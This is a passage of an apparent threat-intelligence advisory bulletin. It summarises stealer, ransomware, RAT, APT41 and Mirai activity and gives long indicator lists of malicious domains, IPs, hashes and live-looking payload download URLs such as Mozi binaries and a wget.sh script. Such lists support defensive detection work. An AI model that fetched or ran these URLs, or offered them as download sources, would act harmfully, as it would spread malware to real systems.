**STATC STEALER-** STATC stealer, also known as CRUDETAKE, is a C#- based information stealer that targets browser credentials and employs Windows PowerShell for exfiltration. It stealthily extracts sensitive data from victims’ systems, including passwords, cookies, and cryptocurrency wallet information, targets data and credentials from web browsers, desktop applications, FTP clients (FileZilla), and cryptocurrency wallets.  It encrypts the stolen data and adds it to a text file in the victim's temp directory before exfiltrating it to the adversary 's server.

**META STEALER-** Meta Stealer, also known as Redline stealer, is a sophisticated, information-stealing malware known for its ability to exfiltrate sensitive data from infected systems. Primarily targeting personal and financial information, Redline Stealer is distributed through phishing campaigns, malicious downloads, and exploit kits hosted on compromised or malicious websites.

**PLANET STEALER-** Planet Stealer, a Go-based information stealer, is capable of stealing passwords, web session cookies, autofill data, and credit card information from Gecko and Chromium browsers. The malware uses various techniques such as an "Exodus Injection" to extract recovery phrases, an anti-virtual machine method to evade detection, and collects information from applications like Discord and FileZilla FTP clients.

**STRELA STEALER-** StrelaStealer, a dynamic data-stealing malware that primarily targets email credentials and is distributed through spam emails with attachments like ISO files or ZIP files containing JavaScript payloads. The malware specifically steals login data from popular email clients.

**Affected Systems/Assets**

* Web Browsers (Saved Credentials): Captures usernames and passwords stored in web browsers like Chrome, Firefox, Edge, and others.
* Cookies and Session Tokens: Steals cookies and session tokens to maintain or hijack sessions. Malware can extract saved login details.
* Files server and Remote Desktop Access Applications: Steals credentials for FTP servers used for file transfers. Targets credentials for remote desktop services like RDP (Remote Desktop Protocol) or VNC (Virtual Network Computing). Cryptocurrency Wallets-Digital wallets used for managing cryptocurrencies.
* Email Accounts: Captures login information for email accounts from various providers.
* Documents and Files: Steals documents and files from the local file system and may target files stored in cloud services if credentials for such services are captured.

**Distribution Methods**

* Phishing Emails with context-aware themes and malicious attachments or links.
* Malvertising: Spread through malicious online ads.
* Disguised Software: Poses as game cheats or other legitimate programs to trick users into downloading it.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**VIDAR STEALER**

DOMAIN:

admin.foa.ae

gheorghip.tumblr.com

watchmovie.life

IP

37.0.10.214

HASHES

0003a02c965909f635c3f9b274f1a1e4

0052e61a2c5d05ef4e9f4589d7ebe9ee

0502cbc8864a003f98ba487e72c2ee35

0512f22ab35b0f96b0c4aa586c319190

07d615115d848b9b21d425e72116537e

09cdb380cec1fb55198fa2edf5ec2f09

0b337d7dee68e44816ab426e16509cf2

0ca8f345ebe088c22f0f0c14665da41e

0d33ac88556b125378817189a9209379

0e3909e7241894ccce8d78dbbf0705e3

**TEABOT**

DOMAIN:

bonigodus.top

fotrides.top

kopozkapalo.xyz

sepoloskotop.xyz

vutyfilos.top

IP

185.215.113.31

**PLANET STEALER**

IP ADDRESS

193.178.170.30

**STRELA STEALER**

IP ADDRESS

193.109.85.231

HASHES

6e8a3ffffd2f7a91f3f845b78dd90011feb80d30b4fe48cb174b629afa273403

e6991b12e86629b38e178fef129dfda1d454391ffbb236703f8c026d6d55b9a1

544887bc3f0dccb610dd7ba35b498a03ea32fca047e133a0639d5bca61cc6f45

b7e2e4df5cddcbf6c0cda0fb212be65dea2c442e06590461bf5a13821325e337

d8d28aa1df354c7e0798279ed3fecad8effef8c523c701faaf9b5472d22a5e28

aea9989e70ffa6b1d9ce50dd3af5b7a6a57b97

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-RAN-2024-08-14-005**

It has been observed that the Azzasec ransomware is active in the cyber threat landscape. Azzasec ransomware encrypts the files on Windows machines and appends. The encrypted files include documents, photos, videos, and other files. It operates as Ransomware as a Service (RaaS). Additionally, this ransomware changes the desktop wallpaper and provides a ransom note (displays a pop-up window).

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**HASH:**

58b45bfd8430d8b24f9142278ff206261ab3d1100b3c98b0fdfcefdddf2fd05d

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-MAW-2024-08-14-006**

Agent Tesla, a .Net-based Remote Access Trojan (RAT) usually spreads through phishing. However, the malware also has functionality, which allows it to run automatically from a USB stick. Adversary is able to operate exclusively on Windows machines.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**IP Addresses:**

203.175.9.22

45.252.248.26

46.20.7.175

213.189.52.181

203.161.184.34

5.2.84.236

93.89.225.40

89.39.83.184

61.19.247.49

86.96.202.167

104.247.165.99

185.99.1.126

89.36.25.206

188.127.239.250

86.105.155.116

195.252.110.253

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-RAN-2024-08-14-007**

It has been observed that Mimic Ransomware, also known as N3ww4v3, is involved in targeting and exploitation of MSSQL database servers to gain initial access to victims' systems. The payload disables recovery by deleting data backups and corrupting the disk, in addition to cleaning up the other tools that are deployed.

**Impacts:**

* Personal Information Loss.
* Compromised Systems.
* Targeting and exploitation of MSSQL database servers
* \*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*
* **HASHES:**  
    
  558147caa20eddf708986e89d7f000809025c5ade03fda1f352dba513e8f1454  
  804de08fb28dcae51efca2960de3dc9460114fc8d376ad6a966144cb55aa9f75  
  d13b43518d0ed2fe938e186eb218debd15022b9803c0d330363ca40830db9a77  
  ae7031dfae21616d7eec326c16ebac7f9d911a354ba32dd4b4c458fe50351805  
  04ba9dd2d3127511af52e1be3015e0424491cfb2133f90f8b5b5cac2e33166d4  
  89672638152c13d10ae8afa03df7798081d025939bcfae354e8540cdda2cf16a  
  549a883cb3d923eb0b45248d6f46bd2859a3265f203e6019f3e4b9df6c9f9813  
  d04904e32b5cb0f9b559855fac81d62c6ad0472dc443be02f08b6fe4a7d56f71  
  73de5c6390f26133f20208367c4398798fd4dc1e9986bdfb7fea9288f4f53efa  
  0964ec866b24eea67c8e7b11060acbf9455e182d0ff97987114c291d29e54f73  
  4e5ec0db67045bdc008e949214bea81a5d1e4c1e0de211159f0e9d7d33ecbf7a  
  cdb0c28ec03ffbf66309d74d537b8157161cf775ee00a49398e97e4bf735d7d9  
  81423f5454208e958aa183c2850809620676485c63aab07d91a6f85c1d9b4e72  
    
  **Domain:**  
    
  times.windowstimes.online  
    
  **IP Address:**  
    
  91.203.134.122  
  80.66.76.30  
  194.26.135.76
* \*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-RAN-2024-08-14-006**

It has been observed that a new ransomware variant named Cronus is currently active in the cyber threat landscape. It operates by disguising itself in documents that appear to be legitimate. Once it is executed, it deploys a PowerShell script to load its ransomware payload, which encrypts files and alters their extensions with random characters.

**Distribution Methods:**

* Phishing: Malicious code is delivered via email attachments (Macros, PDFs) that execute when opened.
* Torrent Websites: Malware is distributed disguised as legitimate files on peer-to-peer file-sharing sites.
* Malicious Ads: Malware is spread through online advertisements that exploit browser vulnerabilities or redirect users to malicious sites.

**Impacts:**

* Personal Information Loss.
* The malware granting adversary's control over the system.

**Capabilities:**

Cronus ransomware is capable of encrypting files, renaming extensions, displaying ransom notes, and altering system settings. It uses advanced techniques like PowerShell scripting and reflective DLL loading to evade detection and can spread across networks.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**HASHES:**69b6bc4db69680118781e7a9f2580738088930fa04884755f23904fa19e638e3  
629587e592130b86418d17d6b8cc52b6f378f39f1b5e8caa4038cfa7120b2a53  
dd78c6dc62463aba24cdbea3968cbcc1c7b97a736ef069d99d6512b10c5e91f3 **URL:**https://eternal.lol/file/

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-MAW-2024-08-14-008**

Based on analysis, please find below malicious IoCs targeting Critical Information Infrastructures (CII). Consider life span for malicious IP addresses at least 14 days.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**IP Addresses:**

222.138.21.238

59.88.232.245

120.85.114.163

59.93.147.215

114.42.41.49

42.59.207.62

117.242.203.55

27.209.93.145

175.151.247.148

117.200.93.167

117.192.236.103

117.248.162.20

120.85.112.153

117.209.8.18

27.43.205.127

42.230.46.146

117.193.170.121

59.97.113.87

117.217.137.131

182.121.21.20

61.1.231.53

120.85.114.217

59.93.146.103

117.201.27.11

185.224.128.83

154.213.185.140

164.92.231.207

117.245.36.153

112.94.99.24

59.89.88.154

178.72.78.87

1.81.197.164

144.24.147.138

154.213.187.96

154.182.223.235

106.52.240.74

129.204.1.184

41.34.10.243

141.148.198.220

91.92.242.155

45.66.231.213

117.206.73.92

5.59.248.52

176.123.168.160

15.235.143.186

154.216.18.103

117.211.37.163

194.50.16.221

117.245.38.32

120.138.12.103

117.217.173.238

202.168.86.187

117.248.165.254

175.107.37.78

103.197.113.138

42.228.222.221

112.252.28.22

117.206.76.245

117.217.82.9

117.207.187.102

61.1.227.228

87.101.201.178

27.122.61.241

120.85.114.14

122.97.138.184

46.32.172.207

178.72.81.44

61.1.54.237

120.138.12.245

112.94.98.49

202.107.30.76

152.42.234.6

117.245.32.216

115.48.160.56

219.154.184.37

102.33.99.20

45.95.146.97

120.85.112.13

59.178.100.129

42.177.176.109

122.97.138.155

117.198.21.215

117.248.165.25

59.88.146.34

122.194.9.210

120.85.115.106

77.239.216.218

112.94.98.249

120.85.115.224

115.49.219.43

120.86.254.22

103.200.84.65

120.86.254.46

65.49.81.185

186.88.172.71

102.33.44.110

102.33.173.0

202.168.86.193

59.95.89.50

51.250.22.114

59.88.12.242

173.234.234.116

117.195.86.35

137.184.225.46

221.15.21.21

120.85.115.108

217.182.96.129

178.94.178.53

108.62.50.47

59.95.134.110

43.129.251.133

82.84.44.15

175.175.212.33

125.95.187.40

164.90.183.255

1.82.40.242

125.40.73.216

83.136.84.173

110.178.47.70

117.217.35.216

103.14.226.142

146.196.67.240

176.97.210.238

45.66.231.153

50.3.182.152

87.121.112.42

103.149.28.141

45.66.231.148

**URLs:-**

http://91.92.242.155/most-mips

http://45.66.231.213/r

http://59.89.88.154:58974/Mozi.a

http://117.245.36.153:39271/Mozi.a

http://61.1.231.53:37647/Mozi.m

http://59.97.113.87:59612/Mozi.m

http://59.93.146.103:37381/Mozi.m

http://59.88.232.245:58858/Mozi.m

http://42.59.207.62:54094/Mozi.m

http://42.230.46.146:42359/Mozi.m

http://27.209.93.145:52870/Mozi.m

http://222.138.21.238:42737/Mozi.m

http://182.121.21.20:53009/Mozi.m

http://175.151.247.148:43780/Mozi.m

http://117.248.162.20:56642/Mozi.m

http://117.242.203.55:55707/Mozi.m

http://117.217.137.131:32817/Mozi.m

http://117.209.8.18:59475/Mozi.m

http://117.206.73.92:57867/Mozi.m

http://117.201.27.11:55658/Mozi.m

http://117.200.93.167:33884/Mozi.m

http://117.193.170.121:39438/Mozi.m

http://117.192.236.103:50230/Mozi.m

http://114.42.41.49:49548/Mozi.m

http://5.59.248.52/bins/x86

http://176.123.168.160/x86

http://15.235.143.186/bulonemgai.x86

http://154.216.18.103/t

http://117.211.37.163:59149/Mozi.m

http://117.245.38.32:58035/Mozi.m

http://120.138.12.103:40292/Mozi.m

http://117.217.173.238:43168/Mozi.m

http://202.168.86.187:38980/Mozi.m

http://117.248.165.254:50561/Mozi.m

http://103.197.113.138:37638/Mozi.m

http://42.228.222.221:36141/Mozi.m

http://112.252.28.22:37598/Mozi.m

http://117.217.82.9:39439/Mozi.m

http://117.207.187.102:33293/Mozi.m

http://61.1.227.228:38691/Mozi.m

http://102.33.99.20:59687/Mozi.m

http://46.32.172.207:10552/Mozi.m

http://61.1.54.237:52676/Mozi.m

http://120.138.12.245:46720/Mozi.m

http://202.107.30.76:55623/Mozi.m

http://117.245.32.216:34820/Mozi.m

http://115.48.160.56:52249/Mozi.m

http://219.154.184.37:41903/Mozi.m

http://176.123.168.160/x86

http://5.59.248.52/bins/x86

http://175.107.37.78:38117/Mozi.a

http://117.206.76.245:50431/Mozi.m

Feow0mvn1rci0evq.m.pipedream.net

http://59.178.100.129:41883/Mozi.m

http://42.177.176.109:47829/Mozi.m

http://102.33.44.110:60355/Mozi.m

http://117.198.21.215:39945/Mozi.m

http://117.248.165.25:53818/Mozi.m

http://59.88.146.34:49165/Mozi.m

http://102.33.173.0:37307/Mozi.m

http://115.49.219.43:39298/Mozi.m

http://103.200.84.65:58021/Mozi.m

http://186.88.172.71:34421/Mozi.m

http://91.92.242.155/most-mips

http://202.168.86.193:34606/Mozi.m

http://59.95.89.50:38526/Mozi.m

http://59.88.12.242:51924/Mozi.m

http://117.195.86.35:42753/Mozi.m

http://221.15.21.21:46299/Mozi.m

http://178.94.178.53:58851/Mozi.m

http://117.217.35.216:34019/Mozi.m

http://175.175.212.33:46034/Mozi.m

http://125.95.187.40:60968/Mozi.a

http://110.178.47.70:59188/Mozi.a

http://103.14.226.142/shk

http://125.40.73.216:60745/Mozi.a

http://146.196.67.240/shk

http://176.123.168.160/x86

http://176.97.210.238/shk

http://45.66.231.153/bins/ugh-x86

http://50.3.182.152/shk

http://87.121.112.42/wget.sh

http://bins.rootwho.su/sshdbot

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-APT-2024-08-14-001**

It has been observed that the APT41 threat actor is deploying a combination of malware, open-source tools and malicious projects in their campaigns. Adversary has developed a specialized loader to directly inject a Proof-of-Concept (PoC) for CVE-2018-0824 into memory and exploit Microsoft COM for Windows's Remote Code Execution (RCE) vulnerability to achieve local privilege escalation. Adversary uses Shadowpad, Cobalt Strike, and Filezilla malware for transferring files between endpoints and the WebPass tool for dumping credentials. In this campaign, the Shadowpad malware exploited an outdated, vulnerable version of the Microsoft Office IME binary as a loader, which then loaded a customized second-stage loader to deploy the final payload. The threat actor deployed the backdoors via webshell, reverse shell and RDP.

**Impact**: Information gathering and exfiltration

**Affected Systems/Assets:** Microsoft windows

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**HASHES:**

2e46fcadacfe9e2a63cfc18d95d5870de8b3414462bf14ba9e7c517678f235c9

eba3138d0f3d2385b55b08d8886b1018834d194440691d33d612402ba8a11d28

**Domain:**

w2.chatgptsfit.com

**IP Address:**

103.96.131.84

58.64.204.145

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-RAN-2024-08-14-008**

Reference is made to earlier advisories on the BlackSuit Ransomware.

It has been observed that Blacksuit Ransomware, a rebranding of Royal ransomware, is using phishing emails to gain initial access and also exploiting vulnerabilities in public-facing applications. Adversary after gaining initial access to the victim's network, disable antivirus software, use legitimate Remote Access Tools like AnyDesk and MobaXterm to establish & maintain access to compromised systems. BlackSuit first exfiltrates and extorts data before encryption and if the ransom isn't paid, it publishes the victim's data on a leak site.

**Impacts:**

* Personal Information Loss.
* Compromising systems.
* Financial loss and reputation damage.

**Capabilities:**

* Self-Deletion: Can remove its own file after encrypting.
* Initial Access: Gets in through phishing or exploiting weaknesses in online apps.
* SSH Access: Utilizes tools such as Chisel and SSH clients for remote access and control.
* Command and Control (C2): Communicates with C2 servers using legitimate and open-source tools.
* Persistence: Maintains long-term access through remote monitoring tools and malware.
* Lateral Movement: Spreads across networks using RDP, PsExec, and SMB.
* \*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*
* **URLs**
* https://1tvnews.af/xmlrpc.php
* https://avpvuurwerk.nl/xmlrpc.php
* https://beautyhabits.gr/xmlrpc.php
* https://interpolyaris.ru/xmlrpc.php
* https://libertygospeltracts.com/xmlrpc.php
* https://oldtimertreffen-rethem.de/xmlrpc.php
* https://stroeck.at/xmlrpc.php
* http://megupdate.com/
* http://zoommanager.com/
* myappearinc.com/acquire/draft/c7lh0s5jv
* pastebin.mozilla.org/Z54Vudf9/raw
* **IPs:**
* 147.135.36.162
* 152.89.247.50
* 47.87.229.39
* 147.135.11.223
* 193.235.146.104
* 193.149.176.157
* 140.82.48.158
* 185.7.214.218
* 45.61.136.47
* 5.181.234.58
* 45.141.87.218
* 184.174.96.16
* 89.251.22.32
* 135.148.67.84
* 180.131.145.85
* 180.131.145.61
* 185.190.24.103
* 144.202.120.122
* 155.138.150.236
* 140.82.18.48
* 45.76.225.156
* **Domains:**
* Abbeymathiass.com
* Mail.abbeymathiass.com
* Store.abbeymathiass.com
* Mail.turnovercheck.com
* Store.turnovercheck.com
* turnovercheck.com
* Hourlyprofitstore.com
* tumbleproperty.com
* myappearinc.com
* parkerpublic.com
* ciborkumari.xyz
* **Hashes:**
* af9f95497b8503af1a399bc6f070c3bbeabc5aeecd8c09bca80495831ae71e61
* C4A2227CD8D85128EAFEF8EE2298AA105DA892C8B0F37405667C2D1647C35C46
* 8d16a23d5a5630502b09c33fbc571d2261c6c98fecc3a79a1e1129354f930d0a
* 01ce9cfebb29596d0ab7c99e8dbadf1a8409750b183e6bf73e0de021b365be13
* a0a4a99948e12309f54911264261d96f0e40d5fd695bab82e95fbc1f9024482e
* 146335b1be627318ac09476f0c8f8e6e027805e6077673f72d6dce1677a24c78
* 9493b512d7d15510ebee5b300c55b67f9f2ff1dda64bddc99ba8ba5024113300
* E813F8FAF3AA2EB20E285596413F5088B2D7FD153FE9F72F3FF45735D0FDDCED
* 25A6F82936134A6C5C0066F382530B9D6BF2C8DA6FEAFE028F166B1A9D7283CF
* e3d7c012040962acd66f395d1c5c5f73f305aa1058f2111e8e37d9cb213b80c4
* C798B2690C5F16EB2917A679AF3117CFE9C7060FA8BC84FFC3159338EF33508E
* 3c8c1b1f53e0767b7291bb1ae605ffa62a93e9c8cc783e4ca47ac84b48320d59
* ee6ec2810910c6d2a2957f041edd1e39dca4266a1cc8009ae6d7315aba9196f5
* 68c57daed0e5899c49b827042bcf3bbeba33b524bd83315a44d889721664dc34
* bbb7404419f91f82cedfec915931a9339f04165b27d8878d63827c9ee421ed62
* 338228a3e79f3993abc102cbac2ff253c84965213d59ac30892538cdd9b0a22b
* 3041dfc13f356c2f0133a9c11a258f87cb7de1e17bc435e9b623d74bc5e1c6be
* 8F87A1542EE790623896BBAAB933D1883484DE02A7B3D65D6C791D50173A923D
* f02af8ffc37d1874b971307fdec80e33e583b56d9ebabda78a4b8ad038bc3bf0
* b028eaa0ec452c6844881dc34be813834813a40591b89ea9a57dd4fb4084e477
* ae724dce252c7b05a84bc264993172cf86950d22744b5e3a1b15ba645d9d3733
* 141b2190f51397dbd0dfde0e3904b264c91b6f81febc823ff0c33da980b69944
* e87512ea12288acec611cf8e995c4ced3971d9e35c0c5dcfd9ee17c9e3ed913d
* f805dafb3c0b7e18aa7d8c96db8e8d4e9301ff619622d1aecc8080e0ecd9ebbe
* 6332f189cc71df646ff0f1b9b02a005c9ebda3fe7b9712976660746913b030de
* 420db40d26d309d3dba3245abb91207f1bca050530545a8048f856e5840d22a2
* 1743494f803bbcbd11150a4a8b7a2c5faba1223da607f67d24b18ca2d95d5ba3
* 216047c048bf1dcbf031cf24bd5e0f263994a5df60b23089e393033d17257cb5
* be030e685536eb38ba1fec1c90e90a4165f6641c8dc39291db1d23f4ee9fa0b1
* d47d4b52e75e8cf3b11ea171163a66c06d1792227c1cf7ca49d7df60804a1681
* 8a983042278bc5897dbcdd54d1d7e3143f8b7ead553b5a4713e30deffda16375
* b8c4aec31c134adbdbe8aad65d2bcb21cfe62d299696a23add9aa1de082c6e20
* 342b398647073159dfa8a7d36510171f731b760089a546e96fbb8a292791efee
* 4cd00234b18e04dcd745cc81bb928c8451f6601affb5fa45f20bb11bfb5383ce
* a83a5810ea7a4f02d4623c509dd9b88ad4e432177143e9e9b2b30f9b2943a1b0
* 8a99353662ccae117d2bb22efd8c43d7169060450be413af763e8ad7522d2451
* 74d81ef0be02899a177d7ff6374d699b634c70275b3292dbc67e577b5f6a3f3c
* 0a9a342cf4b9ccba811922b32c55498a3448b198702e2ec17269653c161bbda3
* 82f1f72f4b1bfd7cc8afbe6d170686b1066049bc7e5863b51aa15ccc5c841f58
* 41a79f83f8b00ac7a9dd06e1e225d64d95d29b1d
* 3288f6f98bc2445f4ad688b562fe12414893c1ac
* 585b05b290d241a249af93b1896a9474128da969
* dd37973be7e6ede23c131a48919a4f6e1fb49328
* b286b58ed32b6df4ecdb5df86d7d7d177bb7bfaf
* 1206bd44744d61f6c31aba2234c34d3e35b5bac7
* 790d40cd16fb458bf99e3600bce29eca06d40b56
* a84ed0f3c46b01d66510ccc9b1fc1e07af005c60
* c96154690f60a8e1f2271242e458029014ffe30a
* 0488348645ebb39ee7a51a09f2705c87d89d27f1
* 7902b08fb184cfb9580d0ad950baf048a795f7c1
* 65dc04f3f75deb3b287cca3138d9d0ec36b8bea0
* 92283d4d0e7e730c3f4f5485bfa48cb6
* 50cc3a3bca96d7096c8118e838d9bc16
* 57bd8fba4aa26033fa080f390b31ed0e
* 5cb9d80f82f674b065c3d80816a370c4
* 0191d87b91f1545e13b3af4a442ae949
* cdcf4f24dc07d5da5be076793983a308
* 527c71c523d275c8367b67bbebf48e9f
* \*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-MAW-2024-08-14-009**

During analysis of Mirai samples over a week, following IOCs have been found. There are couple of things to be aware of while looking at this data:

Network IOCs may be associated with binary distribution or one of the "cnc" or "report" functions.

Network IOCs are identified from newly identified samples but may themselves not necessarily be new.

Because of nature of the static analysis, there is MODERATE confidence in accuracy of the network IOCs.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**IP Address:**

91.92.252.2

154.216.18.82

170.130.205.117

159.223.134.55

185.196.11.135

34.71.140.211

54.232.70.208

45.145.185.194

**Domain:**

mts1337.servegame.com

**Hashes:**

01d33118b4a3e0873e693c98b20223e9034f1e7e1c0980033011033c0cbb0a67

039fa4d004ad9927549d16e57afd285dd156e52564c025f4ced49d921b7cea93

03b57adb9df4d05447fa70d914df111959b31854df2793b51eebcb5a4c578b50

040875023bbf855b0dd5c49288e4ab999b15b6347e521df9aa60c55a3ee9a562

0471926d0ee474c9f3f08d2584afff9f1dd17347800854741168d851c61bc9d5

04d0eeb68b8b9c6fb2d1a1a3459650614187298e1cc1bb7354acaec6492b779d

05c3704ea5d4203854a8eb32812848b661aa99e79f195ef754b73656e54b0fa5

074dd3248b0399ac5826126e67550a762c7d6a846e7e63d2980e4819478b0d92

0a1f69805548e0ec8899fae6abb7b2e152c3350b748c968301a0d6d7c580fb0f

0a3494f8ee1365d64555faabba3c3e1f3d4d3bc4da207274c197475f333d1c01

0ad4b6ccadadfcc5a1c8f484f0f7a9d2fb13ffbae35839b0e4904cd6de438958

0b6aa3b2aa50706bc42aea4ac8ce680fc28ee260f4e6d9e159d5f9c98877fcce

0e34b340f2ca86320d1f93b03ebbff1ea7d9e1fa268c5ebb744ca66bd09ca731

107e652f9f6eb570be744c4736fef1152eadabf1acf99ca33dde8285764b416a

1123e693fc6fcb05a68a4d72272b68a7e75326df2830d3367926218d069f3637

13eccc518f4ee70dabb2941b798ecfe42979388a7d91aeb80475e5bca4aabfe2

13f3f736e7389c69c46d0e090fba3f31acc15b3184da077e2835694e486b95b0

156160351483ad6868761aa552bc3fcee235b315eac804286b48617453fffad1

158700338dd8b6f0a04c2b574d81b82e1df0068a960ce94d9b4dd39c0c538bff

15eb82a1060c0614ea43d95e513c02b4a2c6655daac6c944e1bd586a0dba5365

1aa5c4ab4fbc5f465cb7028b4c64d1902656ce8c04c1bb15539c84967852020a

1ab416c1d0618732ba8ac97b007fb9e9c2da7819a50ba6b38a568f3f0e8e7209

1e10d299f87279e5bc31551cc3aed2c9a642a2f5103dbcc7782ab10c67e05af5

1fb2b114c31bf1044894d3afceb2be0b0fda2c5f1eee2eb356a38c9988a43737

28b451c63a37542d1950c35f6689a62ddf9fabf9e36bce60d8785591263105bc

2f348411d207dbb6661ff29475d377b97596e2007d5615ccc1496eb6d6e8eb82

341f6bda4850a23690e0098f6288e35437144059d7a4baf56fe95f5e2fab21d5

34d7f0deb55eb84b4f937cde8e89943bbee373d3d6224c310040824581041727

37985fbde3b344829eb3c5517ad2b46e791788f480a4f42ac3898b67488ee765

37ef414b18fb692c57c0daedaa34f66fd385b370459dcdff93b382ab80b6b56c

382b60522fceaf0075e8979651eaf26fc3f3c839984cc6330724fe04ad86ba74

3860476c057d3f65198963a46d7aadc15f9e0da444620e82d7062693665ce266

3864c6ecbdd2f4827085768bc2c2b851a1a639a5fefe4bef54daf3d9303396ac

398d39fcaa94890cfda0c466283962d74acac1db95d42880d28167c25b6473b3

3bd1aa57835b97f1e28906e597d8d6cdb29688a1b79d23cf05543803b5b0245d

3c0246b2b6db73c6f9344c67489fd8d598353f539d3c3540ef3a32eaf9548bcb

3f4dc4f7eaf8e95f4afb7de353976afb095bdfd6c7764faa918708954f573707

3fe91bf278b6807f6ca9e9937ed17677e77ca934dbfe686a1c66a2a6de7c26f2

3fecd57b826e261bae8bd647b059c4cde5d1c3750d308d9a94bc6589b227f916

4f4987e51fe28cae6bc645554495c89a3f5b11241ab39e250f6f331be0484791

506e4005f8d36a703c173cec6ab6ecc82f38f90c6e5cccb4a45102542d8dd14d

56dd910491228c9c27ce4e69ac9d1d08da94dd2348a3acce8e80a0998303b7a4

5a8c9791d1785e299992a43ff11e13fae55a02511bf7c3428b7293e7393786ab

